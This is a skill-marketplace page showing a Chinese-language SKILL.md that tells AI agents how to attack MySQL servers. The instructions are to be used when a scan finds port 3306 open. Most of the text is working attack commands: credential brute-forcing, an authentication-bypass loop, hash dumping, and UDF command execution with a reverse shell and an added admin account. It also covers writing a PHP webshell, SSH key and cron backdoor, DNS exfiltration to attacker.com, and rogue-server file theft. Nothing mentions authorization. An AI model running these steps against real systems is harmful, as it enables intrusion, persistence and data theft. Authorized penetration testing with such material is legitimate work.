Skip to main content

mysql-pentesting

MySQL 数据库服务(3306 端口)渗透测试方法论。涵盖 MySQL 服务发现与版本识别、默认凭据与匿名访问测试、数据库枚举、权限提升(UDF/文件读写/命令执行)、MySQL 注入利用、已知漏洞利用。 当 Agent 扫描发现 3306 端口开放、需要测试 MySQL 认证强度、枚举数据库内容、或通过 MySQL 实现命令执行时,触发此 Skill。

Informations de source

Dépôt
wgpsec/AboutSecurity
Dernière activité de la source
15 octobre 2026 à 06:58
Langue détectée de SKILL.md
chinois
Étoiles
1 807
Forks
250

Options d'installation

Le prompt qui vérifie d'abord la source est sélectionné par défaut. Vous pouvez passer à une commande directe ou télécharger une copie locale.

Vérifiez les fichiers source

Lisez SKILL.md et les fichiers associés affichés par SkillsMP avant de décider de l'installer.

Explorateur de fichiers
2 fichiers

Affichage de SKILL.md

SKILL.md
Instructions source · Aperçu en lecture seule
name
mysql-pentesting
description
MySQL 数据库服务(3306 端口)渗透测试方法论。涵盖 MySQL 服务发现与版本识别、默认凭据与匿名访问测试、数据库枚举、权限提升(UDF/文件读写/命令执行)、MySQL 注入利用、已知漏洞利用。 当 Agent 扫描发现 3306 端口开放、需要测试 MySQL 认证强度、枚举数据库内容、或通过 MySQL 实现命令执行时,触发此 Skill。
metadata
{"tags":"mysql,数据库,3306端口,udf提权,文件读写,sql注入","category":"exploit"}
# MySQL 渗透测试方法论 (3306) ## 深入参考 - UDF 提权、文件读写、Rogue Server、JDBC 利用、哈希破解完整命令 -> 读 [references/mysql-techniques.md](references/mysql-techniques.md) --- ## 整体决策树 ``` 发现 3306 端口开放 ├─ Phase 1: 服务发现与版本识别 │ ├─ 确定 MySQL/MariaDB 版本 │ ├─ 识别操作系统与运行用户 │ └─ 检测 secure_file_priv / local_infile 配置 ├─ Phase 2: 认证测试 │ ├─ 匿名/空密码登录 │ │ ├─ 成功 -> 直接进入 Phase 3 │ │ └─ 失败 -> 默认凭据 -> 暴力破解 │ ├─ 默认凭据 (root:空, root:root, root:toor 等) │ └─ CVE-2012-2122 认证绕过 (MariaDB/MySQL 5.1.x) ├─ Phase 3: 数据库枚举 │ ├─ 库/表/列枚举 (information_schema) │ ├─ 权限枚举 (SHOW GRANTS / mysql.user) │ │ ├─ FILE 权限 -> 进入 Phase 4 文件读写 │ │ ├─ SUPER 权限 -> 进入 Phase 4 UDF │ │ └─ 普通权限 -> 提取敏感数据,尝试密码复用 │ └─ 用户哈希提取 (mysql.user / mysql_hashdump) ├─ Phase 4: 权限提升 │ ├─ UDF 提权 (lib_mysqludf_sys) │ │ ├─ Linux: .so 加载 -> sys_exec() │ │ └─ Windows: .dll 加载 -> sys_exec() / NTFS ADS 目录创建 │ ├─ 文件读写 │ │ ├─ LOAD_FILE() 读取系统文件 │ │ ├─ INTO OUTFILE 写入 Webshell / .pth payload │ │ └─ LOAD DATA LOCAL INFILE (客户端文件读取) │ └─ MySQL 客户端 Shell (\! sh) ├─ Phase 5: MySQL 注入利用 │ ├─ UNION 注入 -> 信息泄露 / 文件读写 │ ├─ 带外注入 -> LOAD_FILE() + DNS/HTTP 外带 │ └─ Rogue MySQL Server -> 客户端文件窃取 └─ Phase 6: 已知漏洞 ├─ CVE-2012-2122 — 认证绕过 (memcmp timing) ├─ CVE-2023-21971 — JDBC propertiesTransform RCE └─ Rogue/Fake MySQL Server 攻击 JDBC 客户端 ``` --- ## Phase 1: 服务发现与版本识别 ### 1.1 端口扫描与版本探测 ```bash # Nmap 服务版本探测 + MySQL 专项脚本 nmap -sV -p 3306 --script mysql-info,mysql-enum <IP> # Nmap 全量 MySQL 脚本扫描 nmap -sV -p 3306 --script "mysql-*" <IP> ``` ### 1.2 Metasploit 版本探测 ```bash msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS <IP>; run; exit' ``` ### 1.3 运行用户与关键配置 ``` 识别 MySQL 运行身份 ├─ 本地 Shell 已获取 │ ├─ cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep "user" │ ├─ systemctl status mysql | grep "user" │ └─ ps aux | grep mysql └─ 仅 MySQL 连接 ├─ SELECT @@version, @@datadir, @@basedir; ├─ SHOW VARIABLES LIKE 'secure_file_priv'; ├─ SHOW VARIABLES LIKE 'local_infile'; └─ SHOW VARIABLES LIKE 'plugin_dir'; ``` **关键判断**: - `secure_file_priv` 为空 -> 可任意路径读写文件 - `local_infile` 启用 -> LOAD DATA LOCAL 可用,也暴露 Rogue Server 攻击面 - MySQL 以 root 运行 -> UDF 提权后直接获取系统 root --- ## Phase 2: 认证测试 ### 2.1 认证决策树 ``` 尝试连接 MySQL ├─ 1) 匿名/空密码 │ ├─ mysql -h <IP> -u root │ ├─ mysql -h <IP> -u root@localhost │ └─ Nmap: nmap --script mysql-empty-password -p 3306 <IP> ├─ 2) 默认凭据 │ ├─ root:(空) / root:root / root:toor / root:mysql │ ├─ admin:admin / test:test / guest:guest │ └─ debian-sys-maint:(从 /etc/mysql/debian.cnf 获取) ├─ 3) CVE-2012-2122 认证绕过 │ ├─ MariaDB / MySQL 5.1.x 受影响 │ ├─ 原理: memcmp 返回值截断,约 1/256 概率绕过 │ ├─ Nmap: nmap --script mysql-vuln-cve2012-2122 -p 3306 <IP> │ └─ Metasploit: auxiliary/scanner/mysql/mysql_authbypass_hashdump ├─ 4) 暴力破解 │ ├─ hydra -t 4 -l root -P wordlist.txt <IP> mysql │ └─ Metasploit: auxiliary/scanner/mysql/mysql_login └─ 5) 本地提权路径 ├─ /etc/mysql/debian.cnf 明文密码 ├─ ~/.my.cnf / ~/.mylogin.cnf 凭据文件 └─ auth_socket / unix_socket 插件 -> 本地 socket 无密码登录 ``` ### 2.2 本地 Socket 认证检测 当已获取目标 Shell 时,本地 socket 是最快的突破口: ```bash # 检测 socket 文件 ls -l /run/mysqld/mysqld.sock /var/run/mysqld/mysqld.sock 2>/dev/null # 检测凭据文件 ls -l /etc/mysql/debian.cnf ~/.my.cnf ~/.mylogin.cnf 2>/dev/null # auth_socket 插件 -> OS 用户直接映射为 DB 用户 mysql -S /run/mysqld/mysqld.sock -u root -e \ "SELECT user,host,plugin FROM mysql.user;" 2>/dev/null ``` --- ## Phase 3: 数据库枚举 ### 3.1 基础枚举 ```bash # 连接后执行 show databases; use <database>; show tables; describe <table_name>; select version(); select user(); select database(); ``` ### 3.2 权限枚举决策树 ``` 检查当前权限 ├─ SHOW GRANTS FOR CURRENT_USER(); ├─ SELECT * FROM mysql.user WHERE user=CURRENT_USER(); ├─ 检查 FILE 权限 │ ├─ SELECT user,file_priv FROM mysql.user WHERE file_priv='Y'; │ ├─ 有 -> 标记进入 Phase 4 文件读写 │ └─ 无 -> 尝试其他提权路径 ├─ 检查 SUPER 权限 │ ├─ SELECT user,Super_priv FROM mysql.user WHERE Super_priv='Y'; │ ├─ 有 -> 标记进入 Phase 4 UDF │ └─ 无 -> 检查 CREATE/INSERT 等组合权限 └─ 自定义函数检查 ├─ SELECT routine_name FROM information_schema.routines WHERE routine_type='FUNCTION' AND routine_schema!='sys'; └─ 存在非系统函数 -> 可能已有 UDF 后门 ``` ### 3.3 用户哈希提取 ```bash # 从 MySQL 内部提取 SELECT user,authentication_string FROM mysql.user; # Metasploit 自动化 msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS <IP>; set USERNAME root; set PASSWORD <pass>; run; exit' # 从本地文件提取 (已获 Shell) grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password" ``` ### 3.4 Metasploit 自动枚举 ```bash msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS <IP>; set USERNAME root; set PASSWORD <pass>; run; exit' msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS <IP>; set USERNAME root; set PASSWORD <pass>; run; exit' ``` --- ## Phase 4: 权限提升 ### 4.1 UDF 提权决策树 ``` MySQL 以高权限运行 + 拥有 FILE/SUPER 权限 ├─ 获取 plugin_dir 路径 │ └─ SHOW VARIABLES LIKE '%plugin%'; ├─ 获取 UDF 库文件 │ ├─ sqlmap: locate "*lib_mysqludf_sys*" │ ├─ Metasploit: locate "*lib_mysqludf_sys*" │ └─ 手动编译 raptor_udf2.c ├─ Linux (.so) │ ├─ 通过 table blob 中转写入 plugin_dir │ ├─ CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys.so'; │ └─ SELECT sys_exec('reverse shell command'); ├─ Windows (.dll) │ ├─ 同上,使用 .dll 文件 │ ├─ plugin_dir 不存在? -> NTFS ADS 创建目录 │ │ └─ SELECT 1 INTO OUTFILE 'C:\\path\\plugin::$INDEX_ALLOCATION'; │ └─ SELECT sys_exec("net user attacker P@ss /add"); └─ 利用后清理 └─ DROP FUNCTION sys_exec; ``` -> 读 references/mysql-techniques.md 获取完整 UDF 步骤 ### 4.2 文件读写决策树 ``` 拥有 FILE 权限 + secure_file_priv 不限制 ├─ 读取文件 │ ├─ SELECT LOAD_FILE('/etc/passwd'); │ ├─ SELECT LOAD_FILE('/etc/shadow'); # 需 mysql 用户有读权限 │ └─ SELECT LOAD_FILE('/var/lib/mysql-files/key.txt'); ├─ 写入文件 │ ├─ Webshell │ │ └─ SELECT "<?php echo shell_exec($_GET['c']);?>" INTO OUTFILE '/var/www/html/shell.php'; │ ├─ Python .pth RCE │ │ ├─ 写入 .pth 到 site-packages 目录 │ │ ├─ .pth 中 import 语句自动执行 │ │ └─ 触发: 请求任意 Python CGI 脚本 │ ├─ SSH 公钥写入 │ │ └─ SELECT "<pubkey>" INTO OUTFILE '/root/.ssh/authorized_keys'; │ └─ Cron Job 写入 │ └─ SELECT "* * * * * root reverse_shell" INTO OUTFILE '/etc/cron.d/backdoor'; ├─ 二进制数据写入 │ ├─ CONVERT(unhex("..."), BINARY) │ └─ CONVERT(from_base64("..."), BINARY) └─ 限制 ├─ INTO OUTFILE 不能覆盖已有文件 └─ 路径相对于 MySQL CWD,可用 ../../ 前缀调整 ``` ### 4.3 LOAD DATA LOCAL INFILE (客户端文件读取) ``` Rogue MySQL Server 攻击 ├─ 原理: LOAD DATA LOCAL 时服务端可指定客户端读取任意文件 ├─ 前提: 客户端 local_infile=ON (许多客户端默认开启) ├─ 工具 │ ├─ Rogue-MySql-Server (Python) │ └─ mysql-fake-server (Java) ├─ 攻击流程 │ ├─ 启动 Rogue Server 监听 3306 │ ├─ 诱使目标连接 (DNS 劫持 / 配置篡改) │ └─ 自动读取客户端本地文件 (/etc/passwd 等) └─ JDBC 扩展 ├─ allowLoadLocalInfile=true -> 文件读取 └─ autoDeserialize=true -> 反序列化 RCE ``` ### 4.4 MySQL 客户端 Shell ```bash # 已连接到 MySQL 后,直接获取当前用户 Shell \! sh \! bash \! id ``` --- ## Phase 5: MySQL 注入利用 ### 5.1 注入决策树 ``` 发现 MySQL 注入点 ├─ UNION 注入 │ ├─ 确定列数: ORDER BY 递增 / UNION SELECT NULL,NULL,... │ ├─ 信息收集: version(), user(), database() │ ├─ 数据提取 │ │ ├─ UNION SELECT table_name FROM information_schema.tables │ │ └─ UNION SELECT column_name FROM information_schema.columns WHERE table_name='...' │ └─ 文件操作 (需 FILE 权限) │ ├─ UNION SELECT LOAD_FILE('/etc/passwd') │ └─ UNION SELECT ... INTO OUTFILE '/path/shell.php' ├─ 报错注入 │ ├─ extractvalue(1, concat(0x7e, (SELECT ...))) │ └─ updatexml(1, concat(0x7e, (SELECT ...)), 1) ├─ 盲注 │ ├─ 布尔盲注: AND (SELECT ...) = 1 │ └─ 时间盲注: AND IF(..., SLEEP(5), 0) ├─ 带外注入 (OOB) │ └─ SELECT LOAD_FILE(concat('\\\\', (SELECT ...), '.attacker.com\\a')); └─ 空格绕过 ├─ /**/ 注释替换 ├─ /*!*/ 版本注释 └─ %09 / %0a / %0d 替代空格 ``` --- ## Phase 6: 已知漏洞 ### 6.1 漏洞检测决策树 ``` MySQL 版本已知 ├─ MySQL 5.1.x / MariaDB 特定版本 │ └─ CVE-2012-2122 认证绕过 │ ├─ 检测: nmap --script mysql-vuln-cve2012-2122 -p 3306 <IP> │ └─ 利用: for i in $(seq 1 1000); do mysql -u root --password=bad -h <IP> 2>/dev/null; done ├─ MySQL Connector/J <= 8.0.32 │ └─ CVE-2023-21971 (propertiesTransform RCE) │ ├─ 前提: 可控制 JDBC 连接字符串 │ └─ 利用: jdbc:mysql://<IP>:3306/test?propertiesTransform=com.evil.Evil ├─ 客户端连接 JDBC │ ├─ allowLoadLocalInfile=true -> Rogue Server 文件读取 │ └─ autoDeserialize=true -> Rogue Server 反序列化 RCE ├─ Windows 目标 │ └─ Metasploit: exploit/windows/mysql/mysql_start_up (凭据执行) └─ 通用检测 └─ nmap -sV -p 3306 --script mysql-vuln* <IP> ``` ### 6.2 哈希破解 ``` 提取到 MySQL 哈希 ├─ mysql_native_password (MySQL 5.x) │ ├─ Hashcat: hashcat -m 300 hashes.txt wordlist.txt │ └─ John: john --format=mysql-sha1 hashes.txt ├─ caching_sha2_password (MySQL 8.x) │ ├─ Hashcat: hashcat -m 21100 hashes.txt wordlist.txt │ └─ John: john --format=mysql-sha2 hashes.txt └─ 旧版 MySQL 3.x/4.x └─ Hashcat: hashcat -m 200 hashes.txt wordlist.txt ``` --- ## 后渗透 — 本地审计检查清单 获取 Shell 后对 MySQL 配置的快速审计: | 检查项 | 风险说明 | |-------|---------| | `secure_file_priv = ""` | 允许任意路径文件读写 | | `local_infile = ON` | LOAD DATA LOCAL 可用,Rogue Server 攻击面 | | MySQL 以 root 运行 | UDF 提权直接获取系统 root | | `/etc/mysql/debian.cnf` 可读 | 含 debian-sys-maint 明文密码 | | `~/.my.cnf` / `~/.mylogin.cnf` 存在 | 含用户凭据 | | `auth_socket` 插件启用 | 本地 socket 无密码登录 | | `skip-networking` 未设置 | 远程连接可用 | ### 关键配置文件路径 ``` Linux ├─ /etc/my.cnf ├─ /etc/mysql/my.cnf ├─ /var/lib/mysql/my.cnf ├─ ~/.my.cnf ├─ ~/.mysql_history # 命令历史 └─ /var/lib/mysql/mysql/user.MYD # 用户哈希 Windows ├─ C:\Windows\my.ini ├─ C:\MySQL\data\ └─ <InstDir>\mysql\data\ ``` -> 读 references/mysql-techniques.md 获取完整技术细节与命令参考
Voir sur GitHub